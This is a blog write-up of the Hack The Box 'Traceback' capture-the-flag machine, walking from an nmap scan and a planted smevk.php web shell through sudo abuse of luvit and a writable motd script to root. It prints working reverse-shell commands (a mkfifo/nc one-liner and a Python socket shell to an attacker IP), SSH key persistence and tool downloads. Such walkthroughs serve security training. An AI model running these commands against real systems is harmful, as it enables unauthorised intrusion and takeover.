Posts Hack The Box - Traceback
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Hack The Box - Traceback

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.181 traceback.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

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$ nmap -sV -sT -sC traceback.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 07:47 EDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.0056s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds

Enumeration (1)

Not much can be done with the ssh service on port 22, so lets start with the http service on port 80!

By viewing the source, we see something interesting.

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<center>
        <h1>This site has been owned</h1>
        <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
        <h3> - Xh4H - </h3>
        <!--Some of the best web shells that you might need ;)-->
</center>

The website has already been pwned? And what is with that comment? Searching “Some of the best web shells that you might need”, I came across a repo that was forked by Xh4H, which seems by the one that pwned the website.

In the repo was a list of ready-to-use web shells so I guess he must have uploaded one of this. Since the list was quite short, I manually tested each file and found that smevk.php existed on the web server.

http://traceback.php/smevk.php:

According to the source code in the repo, the username and password were both admin.

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$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.

After logging in, we see that the web shell is packed with many features such as file upload, command execution etc.

Using the command execution feature, I listed the home directories of users:

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$ ls /home
sysadmin
webadmin

There is another user called sysadmin but all we could do is list the contents of webadmin’s home directory.

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$ ls -al /home/webadmin
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Aug  2 00:39 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt

There is a note.txt! Lets read it.

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$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

A tool to practice Lua? I wasn’t sure what sysadmin was talking about but seeing in the home directory of webadmin, there was .luvit_history, which seems to be out of the norm. Searching online, it belonged to a program called Luvit!

Running sudo -l, we see that we are able to run luvit as sysadmin.

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$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Let see what we can do with it.

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$ sudo -u sysadmin /home/sysadmin/luvit -h
Usage: /home/sysadmin/luvit [options] script.lua [arguments]

  Options:
    -h, --help          Print this help screen.
    -v, --version       Print the version.
    -e code_chunk       Evaluate code chunk and print result.
    -i, --interactive   Enter interactive repl after executing script.
    -n, --no-color      Disable colors.
    -c, --16-colors     Use simple ANSI colors
    -C, --256-colors    Use 256-mode ANSI colors
                        (Note, if no script is provided, a repl is run instead.)

With the -e option, we can run put Lua code and it will run it as sysadmin! Since using luvit will be similar to using lua, I decided to follow this to see if we can run some arbitrary commands.

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$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("id")'
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
true	'exit'	0

Exploitation (1)

Nice! We managed to run commands as sysadmin. Lets spawn a reverse shell as sysadmin! After starting a nc listener on port 1337, I ran the below command:

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$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 1337 >/tmp/f")'

And I receive the connection:

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$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.181] 54078
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

user.txt

With a stable shell, we can now read the user flag.

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$ cat /home/sysadmin/user.txt
7213XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

I uploaded pspy to the box and ran it.

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$ wget http://10.10.XX.XX/pspy
--2020-08-02 02:59:49--  http://10.10.XX.XX/pspy
Connecting to 10.10.XX.XX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1090528 (1.0M) [application/octet-stream]
Saving to: 'pspy'
...
2020-08-02 02:59:50 (4.74 MB/s) - 'pspy' saved [1090528/1090528]
$ ./pspy
...
2020/08/02 03:03:01 CMD: UID=0    PID=9977   | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
...

Every now and then, files from /var/backups/.update-motd.d/ will be copied to /etc/update-motd.d/. Hmm lets check what permission we have on these folders.

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$ ls -al /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Aug  2 03:26 00-header
-rwxrwxr-x  1 root sysadmin  982 Aug  2 03:26 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Aug  2 03:26 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Aug  2 03:26 80-esm
-rwxrwxr-x  1 root sysadmin  299 Aug  2 03:26 91-release-upgrade
$ ls -al /var/backups/.update-motd.d
total 32
drwxr-xr-x 2 root root 4096 Mar  5 02:56 .
drwxr-xr-x 3 root root 4096 Aug 25  2019 ..
-rwxr-xr-x 1 root root  981 Aug 25  2019 00-header
-rwxr-xr-x 1 root root  982 Aug 27  2019 10-help-text
-rwxr-xr-x 1 root root 4264 Aug 25  2019 50-motd-news
-rwxr-xr-x 1 root root  604 Aug 25  2019 80-esm
-rwxr-xr-x 1 root root  299 Aug 25  2019 91-release-upgrade

We got write access to /etc/update-motd.d! It seems like the scripts in /etc/update-motd will be replaced with a clean version every now and then. Lets check if sshing into the box will cause these scripts to run.

First I generate a ssh key-pair.

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$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): traceback/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in traceback/id_rsa.
Your public key has been saved in traceback/id_rsa.pub.
The key fingerprint is:
SHA256:CMKnVhw7VM+I3CeNzdMaP58KKe2K/r2pm585NpE8IcA root@kali
The key's randomart image is:
+---[RSA 3072]----+
|   .o..          |
| . +E= O .       |
|  o X.= X .      |
|   = o.+.=       |
|  o   .oSoo      |
| .     .=. o .   |
|      . +o  o    |
|     . =+= .     |
|   .o.**O+.      |
+----[SHA256]-----+

Then, I copy the contents of my public key id_rsa.pub into sysadmin’s authorized_keys and ssh with the private key.

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$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu/dvT4ATAAvV67Dzm8YNMfOzD1np26hbCDYbfgv9vltGcNsjqxw/ZOqiTtl6S88VX/VcmiVmbFB4KTZLFv4Sh+jJF5jhGwHDjE/pB2xNxFeyvr2DNSOU+810XAm15M7sMQUowLzikZgbfc/tYMZ7n8Bkd97smwnsCpS51NQjgOeAAAXmSxeSlHEokH4TFQXC5Xf1ApTnWMgxpf+mM675UQYhpgSA2uc6xjCGUjRJyTPHoItg+DpUytuMliPtgKLXovv7MSMVMbKXcUCv/eUDYYjPUcQc50VqziVAAh1SmBaIRtVu/2+9b4TfpR1YmAfC+ZOSPMbZYzbP2IeSW3/panAFzu/Z/K4t4W8YHU4hpOkm4+70A1+LQqiC/67fwdnWWX3Baw6Is3HDV7Uhsxg4ulFGqSPtdoSQYWir6ToC0eBfFHj05nTrHLi4FuJVQInMdLdErSA6eQpNyYwWYvTMD/l10m1SlV1dupyGSW65y+rbID6EKkR1sGGBTS2RB4eE= root@kali" >> /home/sysadmin/.ssh/authorized_keys
$ ssh -i id_rsa sysadmin@traceback.htb
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

The line Welcome to Xh4H land was from 00-header! This means that since we can write to it and run any commands!

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$ cat /etc/update-motd.d/00-header
...
echo "\nWelcome to Xh4H land \n"

Exploitation (2)

Lets create a bash script that connects back to our nc listener on port 1338 and add it to 00-header.

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$ cat /tmp/rev.sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
$ chmod 777 /tmp/rev.sh
$ echo "/tmp/rev.sh" >> /etc/update-motd.d/00-header

And lastly, we simply start another ssh connection.

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$ ssh -i id_rsa sysadmin@traceback.htb

root.txt

On our listener, we catch the connection and get the root flag.

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$ nc -lvnp 1338
listening on [any] 1338 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.181] 54618
root@traceback:/# cat /root/root.txt
05acXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.